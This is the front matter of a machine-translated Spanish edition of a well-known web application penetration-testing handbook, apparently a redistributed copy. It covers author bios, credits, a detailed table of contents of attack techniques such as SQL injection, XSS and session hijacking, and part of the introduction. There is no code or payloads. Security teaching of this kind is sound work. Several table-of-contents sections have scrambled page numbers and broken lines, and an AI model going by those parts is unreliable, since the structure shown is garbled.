?? ?????? ??? ????? ?? ???????????? ???

https://t.
me/librosdehacking
Machine Translated by Google
La aplicación web
Manual del hacker
Segunda edicion
Encontrar y explotar fallas de seguridad
Dafydd Stuttard
Marcus Pinto
Sobre los autores
Dafydd Stuttard es un consultor de seguridad independiente, autor y desarrollador de

software. Con más de 10 años de experiencia en consultoría de seguridad, se especializa
en pruebas de penetración de aplicaciones web y software compilado . Dafydd ha
trabajado con numerosos bancos, minoristas y otras empresas para ayudar a proteger
sus aplicaciones web. También ha brindado consultoría de seguridad a varios fabricantes
de software y gobiernos para ayudar a asegurar su software compilado. Dafydd es un
programador consumado en varios lenguajes. Sus intereses incluyen el desarrollo de
herramientas para facilitar todo tipo de pruebas de seguridad de software. Bajo el alias
"PortSwigger", Dafydd creó el popular Burp Suite de herramientas de piratería de
aplicaciones web; continúa trabajando activamente en el desarrollo de Burp . Dafydd
también es cofundador de MDSec, una empresa que brinda capacitación y consultoría
sobre ataques y defensa de seguridad en Internet. Dafydd ha desarrollado y presentado
cursos de capacitación en varias conferencias de seguridad en todo el mundo, y brinda
capacitación regularmente a empresas y gobiernos. Tiene una maestría y un doctorado
en filosofía de la Universidad de Oxford.
Marcus Pinto es cofundador de MDSec y desarrolla e imparte cursos de capacitación
en seguridad de aplicaciones web. También realiza consultoría de seguridad continua
para verticales financieros, gubernamentales, de telecomunicaciones y minoristas. Sus
11 años de experiencia en la industria han estado dominados por los aspectos técnicos
de la seguridad de las aplicaciones, desde la doble perspectiva de una función de
consultoría e implementación para el usuario final. Marcus tiene experiencia en evaluación
de seguridad basada en ataques y pruebas de penetración. Ha trabajado extensamente
con implementaciones de aplicaciones web a gran escala en la industria de servicios
financieros. Marcus ha estado desarrollando y presentando cursos de capacitación en
bases de datos y aplicaciones web desde 2005 en Black Hat y otras conferencias de
seguridad en todo el mundo, y para clientes gubernamentales y del sector privado. Tiene
una maestría en física de la Universidad de Cambridge.
iii
Acerca del editor técnico
El Dr. Josh Pauli recibió su Ph.D. en Ingeniería de Software de la Universidad Estatal

de Dakota del Norte (NDSU) con énfasis en ingeniería de requisitos seguros y ahora
se desempeña como Profesor Asociado de Seguridad de la Información en la
Universidad Estatal de Dakota (DSU). El Dr. Pauli ha publicado casi 20 artículos en
revistas y conferencias internacionales relacionados con la seguridad del software y su
trabajo incluye presentaciones invitadas del Departamento de Seguridad Nacional y
Black Hat Briefings. Imparte cursos de pregrado y posgrado en seguridad de software
de sistemas y seguridad de software web en DSU. El Dr. Pauli también realiza pruebas
de penetración de aplicaciones web como probador de penetración sénior para una
firma de consultoría de seguridad de la información donde sus funciones incluyen el
desarrollo de talleres técnicos prácticos en el área de seguridad de software web para
profesionales de TI en el sector financiero.
IV
MDSEC: La Compañía de los Autores
Dafydd y Marcus son cofundadores de MDSec, una empresa que brinda

capacitación en seguridad basada en ataques y defensa, junto con otros servicios
de consultoría. Si mientras lee este libro desea poner en práctica los conceptos
y obtener experiencia práctica en las áreas cubiertas, lo invitamos a visitar
nuestro sitio web, http://mdsec.net. Esto le dará acceso a cientos de laboratorios
de vulnerabilidad interactivos y otros recursos a los que se hace referencia a lo largo del libro.
en
Créditos
Editor ejecutivo Vicepresidente y Ejecutivo

villancico largo Editor
neil edde
Editor sénior de proyectos
Princesa Obi Tulton Editor asociado
Redactor técnico Jim Minatel
jose pauli Coordinador de Proyectos, Portada

kate crocker
Redactor de Producción
kathleen wisor Correctores
Sarah Kaikini, palabra uno
Editor de copia
Sheilah Ledwidge, primera palabra
gayle johnson
indexador
Gerente Editorial
Roberto Swanson
Mary Beth Wakefield
Diseñador de la portada
Gerente editorial independiente
romero graham ryan sneed
Director Asociado de Imagen de portada

Diseño interno de Wiley
Marketing
david mayhew Gerente de Proyectos de Sitios Web Verticales
Laura Moss Hollister
Gerente de Mercadeo
ashley zurcher Proyecto Asistente de Sitios Web Verticales
Gerente
Gerente de negocios
Jenny Swisher
amy knies
Asociado de sitios web verticales
Jefe de producción
Productores
tim tate
jose franco
Vicepresidente y Ejecutivo patricio shawn
Editor de grupo doug kuhn
Richard Swadley marilyn hummel
nosotros
Expresiones de gratitud
Estamos en deuda con los directores y otras personas de Next Generation Security
Software, quienes nos proporcionaron el entorno adecuado para realizar la primera
edición de este libro. Desde entonces, nuestro aporte proviene de una comunidad cada
vez más amplia de investigadores y profesionales que han compartido sus ideas y
contribuido a la comprensión colectiva de los problemas de seguridad de las aplicaciones
web que existen en la actualidad. Debido a que este es un manual práctico en lugar de
un trabajo académico, hemos evitado deliberadamente llenarlo con miles de citas de
artículos, libros y publicaciones de blog influyentes que generaron las ideas involucradas.
Esperamos que las personas cuyo trabajo analizamos de forma anónima estén satisfechas
con el crédito general que se otorga aquí.
Agradecemos a la gente de Wiley, en particular a Carol Long por apoyar con
entusiasmo nuestro proyecto desde el principio, a Adaobi Obi Tulton por
ayudarnos a pulir nuestro manuscrito y enseñarnos las peculiaridades del
“inglés americano”, a Gayle Johnson por su edición de textos muy útil y atenta,
y al equipo de Katie Wisor por ofrecer una producción de primer nivel.
Agradecemos en gran medida a nuestras respectivas socias, Becky y Amanda, por
tolerar la importante distracción y el tiempo que implica la producción de un libro de
este tamaño.
Ambos autores están en deuda con las personas que nos guiaron en nuestra inusual
línea de trabajo. Dafydd quisiera agradecer a Martin Law. Martin es un gran tipo que
primero me enseñó cómo piratear y me animó a dedicar mi tiempo a desarrollar técnicas
y herramientas para atacar aplicaciones. A Marcus le gustaría agradecer a sus padres
por todo lo que han hecho y siguen haciendo, incluso por introducirme en las
computadoras. Me he estado metiendo en las computadoras desde entonces.
viii
Contenido de un vistazo
Introducción XXIII
Capítulo 1 (In)seguridad de aplicaciones web 1
Capítulo 2 Mecanismos básicos de defensa 17
Capítulo 3 Tecnologías de aplicaciones web 39
Capítulo 4 Mapeo de la aplicación 73
Capítulo 5 Omisión de los controles del lado del cliente 117
Capítulo 6 Autenticación de ataque 159
Capítulo 7 Gestión de sesiones de ataque 205
Capítulo 8 Atacar los controles de acceso 257
Capítulo 9 Atacar almacenes de datos 287
Capítulo 10 Atacar componentes de back-end 357
Capítulo 11 Atacar la lógica de la aplicación 405
Capítulo 12 Atacar a los usuarios: Cross-Site Scripting 431
Capítulo 13 Atacar a los usuarios: otras técnicas 501
Capítulo 14 Automatización de ataques personalizados 571
Capítulo 15 Explotación de la divulgación de información 615
Capítulo 16 Atacar aplicaciones compiladas nativas 633
Capítulo 17 Atacando la arquitectura de la aplicación 647
Capítulo 18 Atacar el servidor de aplicaciones 669
Capítulo 19 Búsqueda de vulnerabilidades en el código fuente 701
Capítulo 20 Un juego de herramientas para hackers de aplicaciones web 747
Capítulo 21 La metodología de un hacker de aplicaciones web 791
Índice 853
viii
Contenido
Introducción XXIII
Capítulo 1 (In)seguridad de aplicaciones web

1
La evolución de las aplicaciones web
2
Funciones comunes de aplicaciones web
4
Beneficios de las Aplicaciones Web
Seguridad de aplicaciones web 5
“Este sitio es seguro” 67
El problema central de seguridad: los usuarios pueden enviar

Entrada arbitraria 9
Factores clave del problema 10

12
El nuevo perímetro de seguridad
14
El futuro de la seguridad de las aplicaciones web
Resumen 15
Capítulo 2 Mecanismos básicos de defensa 17
Manejo del acceso de usuarios 18

Autenticación 18
Gestión de sesiones 19
Control de acceso 20
Manejo de la entrada del usuario 21
Variedades de Entrada 21
Enfoques para el manejo de entradas 23
Validación de límites 25
Validación de varios pasos y canonicalización 28
Manejo de atacantes 30
Manejo de errores 30
Mantenimiento de registros de auditoría

31
Administradores de alertas 33
Reaccionar a los ataques 34
ix
X Contenido
Administrar la aplicación 35
Resumen 36
Preguntas 36

El protocolo HTTP 39
Solicitudes HTTP 40
Respuestas HTTP 41
Métodos HTTP 42
URL 44
DESCANSO 44
Encabezados HTTP 45
Galletas 47
Códigos de estado 48
HTTPS 49
Proxies HTTP 49
Autenticación HTTP 50
Funcionalidad Web 51
Funcionalidad del lado del servidor 51
Funcionalidad del lado del cliente 57

Estado y Sesiones 66
Esquemas de codificación 66
Codificación de URL 67
Codificación Unicode 67
Codificación HTML 68
Codificación Base64 69
Codificación hexadecimal 69
Comunicación remota y serialización

Marcos 70
Próximos pasos 70
Preguntas 71
Capítulo 4 Mapeo de la aplicación 73

Enumeración de contenido y funcionalidad 74
Telaraña 74
Spidering dirigido por el usuario 77
Descubriendo contenido oculto 80
Páginas de la aplicación Versus

Rutas funcionales 93
Descubriendo parámetros ocultos 96
Análisis de la aplicación 97
Identificación de puntos de entrada para la entrada del usuario 98
Identificación de tecnologías del lado del servidor 101
Identificación de la funcionalidad del lado del servidor 107
Mapeo de la superficie de ataque 111
Resumen 114
Preguntas 114
Contenido xi
Capítulo 5 Eludir los controles del lado del cliente 117
Transmitir datos a través del cliente Campos 118

de formulario ocultos Cookies HTTP 118
Parámetros de URL El encabezado de 121
referencia Datos opacos El ViewState 121
de ASP.NET Captura de datos de 122
usuario: formularios HTML Límites de 123

longitud Validación basada en 124
secuencias de comandos Elementos 127
deshabilitados Captura de datos de usuario: 128
extensiones de navegador comunes 129

Tecnologías de extensión del navegador 131
Enfoques de las extensiones del navegador Intercepción 133
del tráfico de las extensiones del navegador 134
Descompilación de las extensiones del navegador 135
Conexión de un depurador Componentes nativos del 135
cliente Manejo de datos del lado del cliente Transmisión 139
segura de datos a través del cliente Validación de datos 151
generados por el cliente Registro y alertas Preguntas de 153
resumen 154
154
155
156
156
157
Capítulo 6 Autenticación de ataque 159

Tecnologías de autenticación 160
Defectos de diseño en la autenticación
Mecanismos 161
malas contraseñas 161

162
Inicio de sesión por fuerza bruta
166
Mensajes de error detallados
Transmisión Vulnerable de Credenciales 169
171
Funcionalidad de cambio de contraseña
173
Funcionalidad de contraseña olvidada
176
Funcionalidad "Recuérdame"
178
Funcionalidad de suplantación de identidad del usuario
180
Validación incompleta de credenciales
181
Nombres de usuario no únicos
Nombres de usuario predecibles 182
Contraseñas iniciales predecibles 183
Distribución insegura de credenciales 184
Fallos de implementación en la autenticación 185

185
Mecanismos de inicio de sesión de falla abierta
186
Defectos en los mecanismos de inicio de sesión de varias etapas
190
Almacenamiento inseguro de credenciales
Contenido xii
Asegurar la autenticación 191

192
Utilice credenciales sólidas
192
Manejar credenciales en secreto
193
Validar credenciales correctamente
195
Prevenir la fuga de información
Prevenir ataques de fuerza bruta 196
199
Evite el uso indebido de la función de cambio de contraseña
199
Evitar el uso indebido de la función de recuperación de cuenta
201
Registrar, monitorear y notificar
Resumen 201
Preguntas 202
Capítulo 7 Gestión de sesiones de ataque 205

La necesidad del estado 206
Alternativas a las sesiones 208
Debilidades en la generación de tokens 210
210
Fichas significativas
Fichas predecibles 213
223
Fichas encriptadas
Debilidades en el manejo de tokens de sesión 233
Divulgación de tokens en la red 234
237
Divulgación de tokens en registros
240
Mapeo vulnerable de tokens a sesiones
Terminación de sesión vulnerable 241
Exposición del cliente al secuestro de tokens 243
Ámbito liberal de cookies 244
Protección de la gestión de sesiones 248
248
Genera tokens fuertes
250
Proteja los tokens a lo largo de su ciclo de vida
253
Registrar, monitorear y alertar
Resumen 254
Preguntas 255
Capítulo 8 Atacar los controles de acceso 257

Vulnerabilidades comunes 258
259
Funcionalidad completamente desprotegida
Funciones basadas en identificadores 261
262
Funciones multietapa
Archivos estáticos 263
264
Configuración incorrecta de la plataforma
Métodos de control de acceso inseguros 265
Atacar los controles de acceso 266

267
Pruebas con diferentes cuentas de usuario
Prueba de procesos de varias etapas 271
Pruebas con acceso limitado 273
Prueba de acceso directo a métodos 276
Controles de prueba sobre recursos estáticos 277
Contenido xiii
Restricciones de prueba en métodos HTTP 278

Controles de acceso seguros 278
Un modelo de privilegios de varias capas 280
Resumen 284
Preguntas 284
Capítulo 9 Atacar almacenes de datos 287
Inyectar en contextos interpretados 288

Omitir un inicio de sesión 288
Inyectando en SQL 291

Explotación de una vulnerabilidad básica 292
Inyectar en diferentes tipos de declaraciones 294
Encontrar errores de inyección de SQL 298
Huella digital de la base de datos 303
El operador de la UNIÓN 304
Extracción de datos útiles 308
Extracción de datos con UNION 308
Omitir filtros 311
Inyección SQL de segundo orden 313
Explotación Avanzada 314
Más allá de la inyección de SQL: escalando el
Ataque de base de datos 325
Uso de herramientas de explotación de SQL 328
Referencia de errores y sintaxis de SQL 332
Prevención de la inyección de SQL 338
Inyectando en NoSQL 342

Inyectando en MongoDB 343
Inyectando en XPath 344

Subvertir la lógica de la aplicación 345
Inyección XPath informada 346
Inyección ciega de XPath 347
Encontrar fallas de inyección de XPath 348
Prevención de la inyección de XPath 349
Inyectar en LDAP 349

Explotación de la inyección LDAP 351
Encontrar fallas de inyección LDAP 353
Prevención de la inyección de LDAP 354
Resumen 354
Preguntas 354
Capítulo 10 Atacar componentes de back-end 357

Inyectar comandos del sistema operativo 358
Ejemplo 1: inyección a través de Perl 358
Ejemplo 2: Inyección a través de ASP 360
Inyectar mediante ejecución dinámica 362
Encontrar fallas de inyección de comandos del sistema operativo 363
Encontrar vulnerabilidades de ejecución dinámica 366
Contenido xiv
Prevención de la inyección de comandos del sistema operativo 367
Prevención de vulnerabilidades de inyección de secuencias de comandos 368
Manipulación de rutas de archivo 368

Vulnerabilidades transversales de ruta 368
Vulnerabilidades de inclusión de archivos 381
Inyectar en intérpretes XML 383
Inyectar entidades externas XML 384
Inyectar en servicios SOAP 386
Encontrar y explotar la inyección SOAP 389
Prevención de la inyección de SOAP 390
Inyectar en solicitudes HTTP de back-end 390

Redirección HTTP del lado del servidor 390
Inyección de parámetros HTTP 393
Inyectar en servicios de correo 397

Manipulación de encabezado de correo electrónico 398
Inyección de comandos SMTP 399
Encontrar fallas de inyección SMTP 400
Prevención de la inyección SMTP 402
Resumen 402
Preguntas 403
Capítulo 11 Atacar la lógica de la aplicación 405
La naturaleza de los defectos lógicos 406
Defectos lógicos del mundo real 406

Ejemplo 1: Preguntando al Oráculo 407
Ejemplo 2: engañar a una función de cambio de contraseña 409
Ejemplo 3: Proceder al pago 410
Ejemplo 4: Rolling Your Own Insurance 412
Ejemplo 5: romper el banco 414
Ejemplo 6: superando un límite comercial 416

Ejemplo 7: hacer trampa en los descuentos por volumen 418
Ejemplo 8: Escapar de Escapar 419
Ejemplo 9: invalidación de la validación de entrada 420
Ejemplo 10: Abuso de una función de búsqueda 422
Ejemplo 11: Snarfing de mensajes de depuración 424
Ejemplo 12: Carrera contra el inicio de sesión 426
Evitar fallas lógicas 428
Resumen 429
Preguntas 430
Capítulo 12 Atacar a los usuarios: Cross-Site Scripting 431

Variedades de XSS 433
Vulnerabilidades XSS reflejadas 434
Vulnerabilidades XSS almacenadas 438
Vulnerabilidades XSS basadas en DOM 440
Ataques XSS en acción 442
Ataques XSS del mundo real 442
Contenido xiv
Cargas útiles para ataques XSS 443

Mecanismos de entrega para ataques XSS 447
Encontrar y explotar vulnerabilidades XSS 451

Búsqueda y explotación de vulnerabilidades XSS reflejadas 452
Búsqueda y explotación de vulnerabilidades XSS almacenadas 481
Búsqueda y explotación de vulnerabilidades XSS basadas en DOM 487
Prevención de ataques XSS 492

Prevención de XSS reflejados y almacenados 492
Prevención de XSS basado en DOM 496
Resumen 498
Preguntas 498
Capítulo 13 Atacar a los usuarios: otras técnicas 501
Inducir acciones del usuario 501
Solicitar falsificación 502

Reparación de interfaz de usuario 511
Captura de datos entre dominios 515
Captura de datos mediante la inyección de HTML 516
Captura de datos inyectando CSS 517
Secuestro de JavaScript 519
La política del mismo origen revisada 524
La política del mismo origen y las extensiones del navegador 525
La política del mismo origen y HTML5 528
Cruce de dominios con aplicaciones de servicio de proxy 529
Otros ataques de inyección del lado del cliente 531
Inyección de encabezado HTTP 531
Inyección de cookies 536
Vulnerabilidades de redirección abierta 540
Inyección SQL del lado del cliente 547

Contaminación de parámetros HTTP del lado del cliente 548
Ataques de privacidad locales 550

Cookies persistentes 550
Contenido web en caché 551
Historial de navegación 552
Autocompletar 552
Objetos compartidos locales de Flash 553
Almacenamiento aislado Silverlight 553
Internet Explorer userData 554
Mecanismos de almacenamiento local de HTML5 554
Prevención de ataques a la privacidad local 554
Atacar controles ActiveX 555
Encontrar vulnerabilidades de ActiveX 556
Prevención de vulnerabilidades de ActiveX 556
Atacar al navegador 05
Registro de pulsaciones de teclas 596
Robo del historial del navegador y consultas de búsqueda 058

Contenido xvi
Enumeración de las aplicaciones utilizadas actualmente 560

Escaneo de puertos 561
Atacar a otros hosts de red 561
Explotación de servicios no HTTP 562
Explotación de errores del navegador 563
Reenlace de DNS 563
Marcos de explotación del navegador 564
Ataques Man-in-the-Middle 566
Resumen 568
Preguntas 568
Capítulo 14 Automatización de ataques personalizados 571

Usos para la automatización personalizada 572
Enumeración de identificadores válidos 573

El enfoque básico 574
Detección de aciertos 574
Scripting del ataque 576
Jataque 577
Recolección de datos útiles 583
Fuzzing para vulnerabilidades comunes 586
Poniendo todo junto: Burp Intruder 590

Barreras a la automatización 602
Mecanismos de manejo de sesiones 602
Controles CAPTCHA 610
Resumen 613
Preguntas 613
Capítulo 15 Explotación de la divulgación de información 615
Explotación de mensajes de error 615

Mensajes de error de secuencia de comandos 616
Rastros de pila 617
Mensajes informativos de depuración 618
Mensajes del servidor y de la base de datos 619
Uso de información pública 623
Mensajes de error informativos de ingeniería 624
Recopilación de información publicada 625
Uso de la inferencia 626
Prevención de fugas de información 627

Usar mensajes de error genéricos 628
Proteja la información confidencial 628
Minimice la fuga de información del lado del cliente 629
Resumen 629
Preguntas 630
Capítulo 16 Atacar aplicaciones compiladas nativas 633

Vulnerabilidades de desbordamiento de búfer 634
Desbordamientos de pila 634
Desbordamientos de montón 635
Contenido xvii
Vulnerabilidades "fuera de uno" 636

Detección de vulnerabilidades de desbordamiento de búfer 639
Vulnerabilidades de enteros 640

Desbordamientos de enteros 640
Errores de firma 641
Detección de vulnerabilidades de enteros 642
Vulnerabilidades de cadena de formato 643

Detección de vulnerabilidades de cadena de formato 644
Resumen 645
Preguntas 645
Capítulo 17 Atacando la arquitectura de la aplicación 647

Arquitecturas escalonadas 647
Atacando arquitecturas escalonadas 648
Protección de arquitecturas en niveles 654
Proveedores de servicios de alojamiento y aplicaciones compartidos 656

Alojamiento virtual 657
Servicios de aplicaciones compartidas 657
Atacar entornos compartidos 658
Protección de entornos compartidos 665
Resumen 667
Preguntas 667
Capítulo 18 Atacar el servidor de aplicaciones 669
Configuración de servidor vulnerable 670

Credenciales predeterminadas 670
Contenido predeterminado 671
Listados de directorios 677
Métodos WebDAV 679
El servidor de aplicaciones como proxy 682
Hosting virtual mal configurado 683
Protección de la configuración del servidor web 684
Software de servidor vulnerable 684
Defectos del marco de aplicación 685
Vulnerabilidades de gestión de memoria 687
Codificación y Canonicalización 689
Encontrar fallas en el servidor web 694
Protección del software del servidor web 695
Cortafuegos de aplicaciones web 697
Resumen 699
Preguntas 699
Capítulo 19 Búsqueda de vulnerabilidades en el código fuente 701
Enfoques para la revisión del código 702

Pruebas de caja negra frente a pruebas de caja blanca 702
Metodología de revisión de código 703
Firmas de vulnerabilidades comunes 704

Secuencias de comandos entre sitios 704
xviii Contenido
Inyección SQL 705

Recorrido de ruta 706
Redirección arbitraria Inyección 707
de comando OS Contraseñas de 708

puerta trasera Errores de software 708
nativo Código fuente Comentarios 709

La plataforma Java Identificación 710
de datos proporcionados por el 711
usuario Interacción de sesión API 711

potencialmente peligrosas Configuración del 712
entorno Java ASP.NET Identificación de 713
datos proporcionados por el usuario Interacción 716

de sesión Configuración de API potencialmente 718
peligrosas el entorno ASP.NET PHP Identificación 718

de datos proporcionados por el usuario Interacción 719
de sesiones API potencialmente peligrosas Con 720
guración del entorno PHP Perl Identificación de datos 723

proporcionados por el usuario Interacción de sesiones API 724
potencialmente peligrosas Con guración del entorno 724

Perl Base de datos JavaScript Componentes de código 727
Inyección SQL Llamadas a funciones peligrosas 727
Herramientas para código Preguntas de resumen de 732

navegación 735
735
736
736
739
740
741
741
741
742
4 74
4 742
Capítulo 20 Un juego de herramientas para hackers de aplicaciones web 747

Navegadores web 748
explorador de Internet 748

Firefox 749
Cromo 750
Suites de pruebas integradas 751

Cómo funcionan las herramientas 751
Flujo de trabajo de prueba 769
Alternativas al proxy interceptor 771
Escáneres de vulnerabilidad independientes 773
Vulnerabilidades detectadas por los escáneres 774

Limitaciones inherentes de los escáneres 776
Contents xix
Desafíos técnicos que enfrentan los escáneres 778

Productos Actuales 781
Uso de un escáner de vulnerabilidades 783

Otras herramientas 785
Wikto/Nadie 785
bicho de fuego
785
Hidra 785
Guiones personalizados 786
Resumen 789
Capítulo 21 La metodología de un hacker de aplicaciones web 791

Directrices generales 1 793
Mapear el contenido de la aplicación 1.1 795
Explorar contenido visible 1.2 Consultar 795

recursos públicos 1.3 Descubrir contenido 796
oculto 1.4 Descubrir contenido 796
predeterminado 1.5 Enumerar funciones 797
especificadas por identificador 1.6 Prueba de parámetros de 797
depuración 798
2 Analizar la aplicación 2.1 Identificar 798
la funcionalidad 2.2 Identificar los 798
puntos de entrada de datos 2.3 Identificar 799
las tecnologías utilizadas 2.4 Mapear la 799
superficie de ataque 800

3 Probar los controles del lado del cliente 800
3.1 Probar la transmisión de datos a través del cliente 3.2 801
Probar los controles del lado del cliente sobre la entrada del 801
usuario 3.3 Probar los componentes de la extensión del navegador 802

4 Probar el mecanismo de autenticación 805
4.1 Comprender el mecanismo 805 4.2 Probar contraseña 806 4.3 Prueba de enumeración
de
nombre de usuario 806 4.4 Resiliencia a la contraseña Agradezca 807 4.5 Test Función de
recuperación 807 4.6 Probar cualquier función Recordarme 808 4.7 Probar cualquier función
de
suplantación 808 4.8 Probar la unicidad del nombre de usuario 809 4.9 Probar la previsibilidad
de
las credenciales generadas automáticamente 809 4.10 Verificar la transmisión no segura de
credenciales 810 4.11 Verificar la distribución no segura de credenciales 810 4.12 Probar el
almacenamiento no seguro 811 4.13 Probar la lógica Defectos 811 4.14 Aprovechar cualquier
vulnerabilidad para obtener acceso no autorizado 813 814 814 815 816
5 Probar el mecanismo de administración de sesiones 5.1

Comprender el mecanismo 5.2 Probar tokens para
significado 5.3 Probar tokens para previsibilidad

x Contenido
5.4 Verificar la transmisión insegura de tokens 5.5 Verificar la 817
divulgación de tokens en los registros 5.6 Verificar la asignación 817
de tokens a las sesiones 5.7 Probar la finalización de la sesión 818

5.8 Verificar la fijación de la sesión 5.9 Verificar CSRF 5.10 818
Verificar el alcance de la cookie 819
820
820
6 Controles de acceso de prueba 821
6.1 Comprender los requisitos de control de acceso 6.2 Prueba 821
con varias cuentas 6.3 Prueba con acceso limitado 6.4 Prueba de 822
métodos de control de acceso inseguros 822
823
7 Prueba de vulnerabilidades basadas en entrada 824
7.1 Fuzz todos los parámetros de solicitud 7.2 824
Prueba de inyección SQL 7.3 Prueba de XSS 827
y otra inyección de respuesta 7.4 Prueba de inyección de 829
comando OS 7.5 Prueba de recorrido de ruta 7.6 Prueba 832

de inyección de script 7.7 Prueba de inclusión de archivos 833
835
835
8 Prueba de vulnerabilidades de entrada específicas de funciones 836
8.1 Prueba de inyección SMTP 8.2 836

Prueba de vulnerabilidades de software nativo 8.3 837
Prueba de inyección SOAP 8.4 Prueba de inyección 839
LDAP 8.5 Prueba de inyección XPath 8.6 Prueba de 839
inyección de solicitud back-end 8.7 Prueba de inyección 840
XXE 9 Prueba de fallas lógicas 9.1 Identificar la 841
superficie de ataque clave 9.2 Prueba de procesos de 841
varias etapas 9.3 Prueba de manejo de entrada incompleta 842
9.4 Prueba de límites de confianza 9.5 Prueba de lógica 842
de transacción 10 Prueba de vulnerabilidades de 842
alojamiento compartido 843

844
844
845
10.1 Prueba de segregación en infraestructuras compartidas 845
10.2 Prueba de segregación entre aplicaciones alojadas en ASP 845
11 Prueba de vulnerabilidades del servidor de aplicaciones 846

11.1 Prueba de credenciales predeterminadas 11.2 846
Prueba de contenido predeterminado 11.3 Prueba de 847
métodos HTTP peligrosos 11.4 Prueba de funcionalidad 847
de proxy 11.5 Prueba de errores de configuración de 847
alojamiento virtual 11.6 Prueba de errores de software del 847
servidor web 11.7 Prueba de cortafuegos de aplicaciones 848
web 848
Contenido xxi
12 cheques varios 849

12.1 Verificar ataques basados en DOM 849
12.2 Verificar vulnerabilidades de privacidad local 850
12.3 Verificar cifrados SSL débiles 12.4 Verificar 851
configuración de políticas del mismo origen 851
13 Seguimiento de cualquier fuga de información 852
Índice 853
Introducción
Este libro es una guía práctica para descubrir y explotar fallas de seguridad en
aplicaciones web. Por "aplicaciones web" nos referimos a aquellas a las que se accede
mediante un navegador web para comunicarse con un servidor web. Examinamos una
amplia variedad de tecnologías diferentes, como bases de datos, sistemas de archivos
y servicios web, pero solo en el contexto en el que se emplean en aplicaciones web.
Si desea aprender cómo ejecutar escaneos de puertos, atacar firewalls o ingresar a
servidores de otras formas, le sugerimos que busque en otra parte. Pero si desea saber
cómo piratear una aplicación web, robar datos confidenciales y realizar acciones no
autorizadas, este es el libro para usted. Hay suficientes cosas interesantes y divertidas
que decir sobre ese tema sin desviarnos a ningún otro territorio.
Resumen de este libro

El enfoque de este libro es altamente práctico. Aunque incluimos suficientes
antecedentes y teoría para que comprenda las vulnerabilidades que contienen las
aplicaciones web, nuestra principal preocupación son las tareas y técnicas que debe
dominar para acceder a ellas. A lo largo del libro, detallamos los pasos específi cos que
debe seguir para detectar cada tipo de vulnerabilidad y cómo explotarla para realizar
acciones no autorizadas. También incluimos una gran cantidad de ejemplos del mundo
real, derivados de muchos años de experiencia de los autores, que ilustran cómo los
diferentes tipos de fallas de seguridad se manifiestan en las aplicaciones web actuales.
La conciencia de seguridad suele ser un arma de doble filo. Así como los desarrolladores de
aplicaciones pueden beneficiarse al comprender los métodos que utilizan los atacantes, los piratas
informáticos pueden beneficiarse al saber cómo las aplicaciones pueden defenderse de manera efectiva.
Además de describir las vulnerabilidades de seguridad y las técnicas de ataque,
describimos en detalle las contramedidas que las aplicaciones pueden tomar para frustrar una
XXIII
XXIV Introducción
agresor. Si realiza pruebas de penetración de aplicaciones web, esto le permitirá brindar

asesoramiento de alta calidad a los propietarios de las aplicaciones que comprometa.
Quién debería leer este libro
La audiencia principal de este libro es cualquiera que tenga un interés personal o profesional
en atacar aplicaciones web. También está dirigido a cualquier persona responsable del
desarrollo y administración de aplicaciones web. Saber cómo operan tus enemigos te ayudará
a defenderte de ellos.
Suponemos que está familiarizado con los conceptos básicos de seguridad, como inicios
de sesión y controles de acceso, y que tiene un conocimiento básico de las tecnologías web
básicas , como navegadores, servidores web y HTTP. Sin embargo, cualquier laguna en su
conocimiento actual de estas áreas será fácil de remediar, ya sea a través de las explicaciones
contenidas en este libro o referencias en otros lugares.
Mientras ilustramos muchas categorías de fallas de seguridad, proporcionamos extractos
de código que muestran cómo las aplicaciones pueden ser vulnerables. Estos ejemplos son
lo suficientemente simples como para que pueda entenderlos sin ningún conocimiento previo
del idioma en cuestión. Pero son más útiles si tiene alguna experiencia básica con la lectura
o escritura de código.
Cómo está organizado este libro
Este libro está organizado aproximadamente de acuerdo con las dependencias entre los
diferentes temas tratados. Si es nuevo en la piratería de aplicaciones web, debe leer el libro
de principio a fin, adquiriendo el conocimiento y la comprensión que necesita para abordar los
capítulos posteriores. Si ya tiene algo de experiencia en esta área, puede pasar directamente
a cualquier capítulo o subsección que le interese en particular.
Donde fue necesario, hemos incluido referencias cruzadas a otros capítulos, que puede usar
para llenar cualquier vacío en su comprensión.
Comenzamos con tres capítulos contextuales que describen el estado actual de la seguridad
de las aplicaciones web y las tendencias que indican cómo es probable que evolucione en el
futuro cercano. Examinamos el problema central de seguridad que afecta a las aplicaciones
web y los mecanismos de defensa que implementan las aplicaciones para abordar este
problema. También proporcionamos una introducción a las tecnologías clave utilizadas en las
aplicaciones web actuales.
La mayor parte del libro se ocupa de nuestro tema central: las técnicas que puede usar
para ingresar a las aplicaciones web. Este material está organizado en torno a las tareas clave
que debe realizar para llevar a cabo un ataque integral. Estos incluyen el mapeo de la
funcionalidad de la aplicación, el escrutinio y el ataque de sus mecanismos de defensa básicos
y el sondeo de categorías específicas de fallas de seguridad.
Introducción xxv
El libro concluye con tres capítulos que reúnen los diversos hilos presentados en
el libro. Describimos el proceso de encontrar vulnerabilidades en el código fuente
de una aplicación, revisamos las herramientas que pueden ayudar cuando piratea
aplicaciones web y presentamos una metodología detallada para realizar un ataque
integral y profundo contra un objetivo específico.
El Capítulo 1, “(In)seguridad de las aplicaciones web”, describe el estado actual de la
seguridad en las aplicaciones web en Internet en la actualidad. A pesar de las garantías comunes,
la mayoría de las aplicaciones son inseguras y pueden verse comprometidas de alguna manera
con un grado modesto de habilidad. Las vulnerabilidades en las aplicaciones web surgen debido
a un único problema central: los usuarios pueden enviar entradas arbitrarias. Este capítulo
examina los factores clave que contribuyen a la postura de seguridad débil de las aplicaciones actuales.
También describe cómo los defectos en las aplicaciones web pueden dejar la infraestructura
técnica más amplia de una organización altamente vulnerable a los ataques.
El Capítulo 2, "Mecanismos básicos de defensa", describe los mecanismos de seguridad clave
que emplean las aplicaciones web para abordar el problema fundamental de que todas las
entradas del usuario no son de confianza. Estos mecanismos son los medios por los cuales una
aplicación administra el acceso de los usuarios, maneja las entradas de los usuarios y responde
a los atacantes. Estos mecanismos también incluyen las funciones proporcionadas a los
administradores para administrar y monitorear la aplicación en sí. Los mecanismos de seguridad
centrales de la aplicación también representan su principal superficie de ataque, por lo que debe
comprender cómo se pretende que funcionen estos mecanismos antes de poder atacarlos de manera efectiva.
El Capítulo 3, "Tecnologías de aplicaciones web", es un breve resumen de las
tecnologías clave que probablemente encontrará al atacar aplicaciones web. Cubre
todos los aspectos relevantes del protocolo HTTP, las tecnologías comúnmente
utilizadas en el lado del cliente y del servidor, y varios esquemas utilizados para
